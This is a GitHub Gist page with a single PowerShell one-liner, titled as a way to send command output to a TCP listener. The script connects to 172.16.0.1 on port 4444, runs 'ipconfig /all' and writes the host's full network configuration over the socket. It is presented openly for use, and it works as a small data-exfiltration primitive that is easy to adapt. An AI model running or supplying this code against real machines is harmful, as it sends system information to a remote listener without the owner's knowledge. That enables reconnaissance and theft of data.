Skip to content

Instantly share code, notes, and snippets.

@Klepvink
Created October 15, 2019 17:45
Show Gist options
  • Save Klepvink/5df4481fff76d0c1eb1face44d25adde to your computer and use it in GitHub Desktop.
Save Klepvink/5df4481fff76d0c1eb1face44d25adde to your computer and use it in GitHub Desktop.
Powershell one-liner to send command-output to TCP listener
$Port = "4444";$tcpConnection = New-Object System.Net.Sockets.TcpClient('172.16.0.1', $Port);$tcpStream = $tcpConnection.GetStream();$writer = New-Object System.IO.StreamWriter($tcpStream);$writer.AutoFlush = $true;while ($tcpConnection.Connected){if ($tcpConnection.Connected){$command = ipconfig /all;$output = $command | out-string;$writer.WriteLine($output) | Out-Null;break}}$writer.Close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment